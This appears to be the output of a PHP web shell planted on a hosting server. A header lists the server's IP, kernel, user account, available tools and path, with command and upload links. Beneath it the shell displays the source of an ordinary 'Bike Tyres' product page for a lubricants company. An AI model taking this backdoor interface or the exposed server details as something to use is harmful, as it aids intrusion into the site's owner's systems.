|
Server IP : 45.113.226.95 / Your IP : 216.73.216.239 Web Server : LiteSpeed System : Linux bharat.hostitbro.com 5.14.0-611.13.1.el9_7.x86_64 #1 SMP PREEMPT_DYNAMIC Thu Dec 11 04:57:59 EST 2025 x86_64 User : digita21 ( 1701) PHP Version : 8.3.30 Disable Function : mail MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : OFF Directory (0755) : /home2/digita21/www/m-demo/jb-lubricants/{{ asset('assets/../ |
| [ Home ] | [ C0mmand ] | [ Upload File ] |
|---|
<!DOCTYPE html>
<html lang="zxx">
<meta http-equiv="content-type" content="text/html;charset=UTF-8" /><!-- /Added by HTTrack -->
<head>
<title>J.B. Lubricants</title>
<meta charset="utf-8">
<meta name="description" content="">
<!-- responsive tag -->
<meta http-equiv="x-ua-compatible" content="ie=edge">
<meta name="viewport" content="width=device-width, initial-scale=1">
<!-- favicon -->
<!-- <link rel="apple-touch-icon" href="apple-touch-icon.html"> -->
<link rel="shortcut icon" type="image/x-icon" href="images/logo-jb.png">
<!-- Bootstrap v4.4.1 css -->
<link rel="stylesheet" type="text/css" href="assets/css/bootstrap.min.css">
<!-- font-awesome css -->
<link rel="stylesheet" type="text/css" href="assets/css/font-awesome.min.css">
<!-- Uicons Regular Rounded css -->
<link rel="stylesheet" type="text/css" href="assets/css/uicons-regular-rounded.css">
<!-- flaticon css -->
<link rel="stylesheet" type="text/css" href="assets/fonts/flaticon.css">
<!-- animate css -->
<link rel="stylesheet" type="text/css" href="assets/css/animate.css">
<!-- slick css -->
<link rel="stylesheet" type="text/css" href="assets/css/slick.css">
<!-- owl.carousel css -->
<link rel="stylesheet" type="text/css" href="assets/css/owl.carousel.css">
<!-- <link rel="stylesheet" type="text/css" href="https://cdnjs.cloudflare.com/ajax/libs/owl-carousel/1.32/owl.carousel.css"> -->
<!-- off canvas css -->
<link rel="stylesheet" type="text/css" href="assets/css/off-canvas.css">
<!-- magnific popup css -->
<link rel="stylesheet" type="text/css" href="assets/css/magnific-popup.css">
<!-- Main Menu css -->
<link rel="stylesheet" href="assets/css/rsmenu-main.css">
<!-- spacing css -->
<link rel="stylesheet" type="text/css" href="assets/css/rs-spacing.css">
<!-- style css -->
<link rel="stylesheet" type="text/css" href="style.css"> <!-- This stylesheet dynamically changed from style.less -->
<!-- responsive css -->
<link rel="stylesheet" type="text/css" href="assets/css/responsive.css">
<link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/7.0.1/css/all.min.css" integrity="sha512-2SwdPD6INVrV/lHTZbO2nodKhrnDdJK9/kg2XD1r9uGqPo1cUbujc+IYdlYdEErWNu69gVcYgdxlmVmzTWnetw==" crossorigin="anonymous" referrerpolicy="no-referrer" />
<link rel="stylesheet" href="../cdnjs.cloudflare.com/ajax/libs/font-awesome/6.0.0-beta3/css/all.min.css">
</head>
<body class="defult-home">
<div class="offwrap"></div>
<?php
include("header.php");
?>
<style>
/* Banner Styles */
.breadcrumb-banner {
background: linear-gradient(rgba(0, 0, 0, 0.5), rgba(0, 0, 0, 0.5)),
url('https://t4.ftcdn.net/jpg/05/43/45/07/360_F_543450736_bMquSsj9WmVwKsmaJbeMklUm5eg6Ubkw.jpg') center/cover no-repeat;
color: white;
padding: 100px 0;
text-align: center;
position: relative;
}
.breadcrumb-banner h1 {
font-size: 3rem;
font-weight: 700;
margin-bottom: 15px;
}
.breadcrumb-container {
background-color: rgba(255, 255, 255, 0.15);
padding: 8px 25px;
border-radius: 30px;
display: inline-block;
}
.breadcrumb a {
color: #fff;
text-decoration: none;
}
.breadcrumb a:hover {
text-decoration: underline;
}
.breadcrumb-item.active {
color: #e0e0e0;
}
/* Optional fade-in animation */
.breadcrumb-banner {
opacity: 0;
transform: translateY(20px);
transition: all 0.6s ease-in-out;
}
.breadcrumb-banner.show {
opacity: 1;
transform: translateY(0);
}
</style>
<section class="breadcrumb-banner" id="breadcrumbBanner">
<div class="container">
<h1 class="text-light">Bike Tyres</h1>
<nav class="breadcrumb-container" aria-label="breadcrumb">
<ol class="breadcrumb mb-0">
<li class="breadcrumb-item active" aria-current="page">Home / Bike Tyres</li>
</ol>
</nav>
</div>
</section>
<!-- Fade-in Script -->
<script>
document.addEventListener("DOMContentLoaded", function () {
document.getElementById("breadcrumbBanner").classList.add("show");
});
</script>
<style>
.product-section {
padding: 60px 0;
}
.product-img img {
width: 100%;
border-radius: 10px;
}
.product-content h2 {
font-weight: bold;
margin-bottom: 20px;
}
.product-content p {
font-size: 16px;
line-height: 1.7;
}
.btn-custom {
background: #007bff;
color: #fff;
padding: 10px 25px;
border-radius: 5px;
text-decoration: none;
}
.btn-custom:hover {
background: #0056b3;
}
</style>
<div class="container product-section">
<div class="row align-items-center">
<!-- Image Side -->
<div class="col-md-6 product-img">
<img src="https://digitalpaisabazaar.com/m-demo/jb-lubricants/images/index/motorbike.webp" alt="Bike Tyres">
</div>
<!-- Content Side -->
<div class="col-md-6 product-content">
<h2>Bike Tyres</h2>
<p style="text-align: justify;">
Bike Tyres are a crucial component for ensuring safety, stability, and performance
while riding. High-quality tyres provide better grip on the road, allowing for
smooth handling and improved control in various riding conditions.
</p>
<p style="text-align: justify;">
Our bike tyres are designed using advanced rubber compounds and tread patterns
to offer excellent traction on both dry and wet surfaces. They help in reducing
the risk of skidding and enhance braking performance.
</p>
<p style="text-align: justify;">
Built for durability, these tyres are resistant to wear and tear, ensuring a longer
lifespan and reliable performance over extended usage. They also contribute to
better fuel efficiency by reducing rolling resistance.
</p>
<p style="text-align: justify;">
Suitable for a wide range of motorcycles, our Bike Tyres provide a perfect balance
of comfort, safety, and performance, making every ride smooth and secure.
</p>
</div>
</div>
</div>
<?php
include("footer.php");
?>